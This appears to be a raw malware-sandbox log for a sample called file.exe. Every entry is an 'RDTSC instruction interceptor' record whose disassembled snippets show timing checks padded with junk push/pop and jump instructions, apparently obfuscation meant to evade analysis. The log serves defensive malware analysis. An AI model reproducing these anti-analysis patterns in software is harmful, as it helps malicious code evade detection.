Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C566 second address: D7C56A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C6F9 second address: D7C73F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jc 00007F7F8931B06Ch 0x0000000d jmp 00007F7F8931B066h 0x00000012 jmp 00007F7F8931B05Bh 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jno 00007F7F8931B065h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C8F1 second address: D7C8F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C8F5 second address: D7C915 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B05Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7F8931B05Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C915 second address: D7C919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C919 second address: D7C91D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7CD86 second address: D7CDB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F7F8876E201h 0x00000008 jne 00007F7F8876E1F6h 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F7F8876E202h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7CDB5 second address: D7CDD7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B063h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7BA33 second address: D7BA50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E209h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D82DD3 second address: D82DE3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7F8931B056h 0x00000008 jnc 00007F7F8931B056h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D81B12 second address: D81B29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F8876E202h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D81E3C second address: D81E49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 ja 00007F7F8931B05Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D820A5 second address: D820AF instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7F8876E1F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D820AF second address: D820BA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnc 00007F7F8931B056h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8223C second address: D82240 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D82522 second address: D82526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8269F second address: D826A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D826A3 second address: D826C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7F8931B068h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D826C1 second address: D826C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D827F7 second address: D827FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D827FB second address: D8282A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c jmp 00007F7F8876E208h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pop edx 0x00000014 jne 00007F7F8876E202h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8282A second address: D82830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D82830 second address: D82834 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D82ADD second address: D82AFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push edx 0x00000009 jl 00007F7F8931B056h 0x0000000f pop edx 0x00000010 pushad 0x00000011 jmp 00007F7F8931B05Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D861AD second address: D861B7 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7F8876E1F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4308C second address: D43090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D43090 second address: D4309A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7F8876E1F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4309A second address: D430A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D430A0 second address: D430A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4332A second address: D43352 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 jnl 00007F7F8931B05Ch 0x0000000f pushad 0x00000010 jmp 00007F7F8931B060h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D434BA second address: D434F0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F7F8876E205h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007F7F8876E1FBh 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 jbe 00007F7F8876E1F8h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D434F0 second address: D4351D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7F8931B05Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jl 00007F7F8931B056h 0x00000017 jmp 00007F7F8931B05Fh 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4351D second address: D43560 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7F8876E208h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov cx, 7A92h 0x0000000f call 00007F7F8876E1F9h 0x00000014 jmp 00007F7F8876E1FCh 0x00000019 push eax 0x0000001a pushad 0x0000001b push esi 0x0000001c jbe 00007F7F8876E1F6h 0x00000022 pop esi 0x00000023 push edi 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D43560 second address: D43584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7F8931B068h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D43584 second address: D435B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E1FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b ja 00007F7F8876E202h 0x00000011 jno 00007F7F8876E1FCh 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D43649 second address: D43667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F7F8931B065h 0x0000000f jmp 00007F7F8931B05Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D43667 second address: D43671 instructions: 0x00000000 rdtsc 0x00000002 js 00007F7F8876E1FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D43706 second address: D43711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push ebx 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D437CB second address: D437CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D438D6 second address: D438DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D438DB second address: D438E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D438E2 second address: D438F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F7F8931B058h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D43E1A second address: D43E31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E203h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D44135 second address: D4413B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4413B second address: D4418A instructions: 0x00000000 rdtsc 0x00000002 js 00007F7F8876E1FCh 0x00000008 jc 00007F7F8876E1F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 pushad 0x00000015 push esi 0x00000016 jnp 00007F7F8876E1F6h 0x0000001c pop esi 0x0000001d jl 00007F7F8876E1F8h 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 mov eax, dword ptr [eax] 0x00000028 pushad 0x00000029 jmp 00007F7F8876E202h 0x0000002e pushad 0x0000002f js 00007F7F8876E1F6h 0x00000035 push ecx 0x00000036 pop ecx 0x00000037 popad 0x00000038 popad 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4418A second address: D4419B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F8931B05Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4419B second address: D441A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2DD04 second address: D2DD0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2DD0A second address: D2DD0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2DD0E second address: D2DD2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B063h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007F7F8931B056h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86911 second address: D8691D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7F8876E1F6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86A9A second address: D86AA7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7F8931B056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86C02 second address: D86C0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F7F8876E1F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86C0D second address: D86C20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F8931B05Dh 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86C20 second address: D86C24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8D113 second address: D8D117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8D117 second address: D8D11B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8D11B second address: D8D126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93182 second address: D93186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93186 second address: D9318A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9318A second address: D931A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F7F8876E1FBh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92A5C second address: D92A60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92A60 second address: D92A71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F8876E1FBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92A71 second address: D92A78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92BD7 second address: D92BDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92BDB second address: D92BFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B05Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F7F8931B05Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92E9F second address: D92ED8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7F8876E209h 0x00000008 pushad 0x00000009 popad 0x0000000a jnp 00007F7F8876E1F6h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F7F8876E1FCh 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92ED8 second address: D92EE4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7F8931B056h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92EE4 second address: D92EF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F7F8876E1F6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96EF3 second address: D96F03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F7F8931B056h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96F03 second address: D96F07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96917 second address: D9691B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9691B second address: D96921 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96921 second address: D9692B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7F8931B05Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C07D second address: D9C08A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F7F8876E1F6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C1E1 second address: D9C1E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C1E6 second address: D9C1F0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C1F0 second address: D9C1F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C350 second address: D9C356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C356 second address: D9C35A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C35A second address: D9C377 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7F8876E208h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C377 second address: D9C37D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C37D second address: D9C394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F8876E1FEh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C394 second address: D9C398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C398 second address: D9C39C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C4E8 second address: D9C4F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D43C9C second address: D43CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F7F8876E1F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA171C second address: DA173B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B063h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F7F8931B056h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA173B second address: DA174B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E1FAh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA174B second address: DA1752 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0AC3 second address: DA0AE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F7F8876E1F6h 0x00000009 push edi 0x0000000a pop edi 0x0000000b jmp 00007F7F8876E201h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0AE9 second address: DA0AED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0AED second address: DA0AF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0DE3 second address: DA0DF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007F7F8931B056h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0DF3 second address: DA0E0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E1FAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1113 second address: DA1119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1119 second address: DA111E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA111E second address: DA1140 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7F8931B069h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1140 second address: DA114E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jne 00007F7F8876E1F6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA831B second address: DA8321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA8321 second address: DA832B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7F8876E1F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
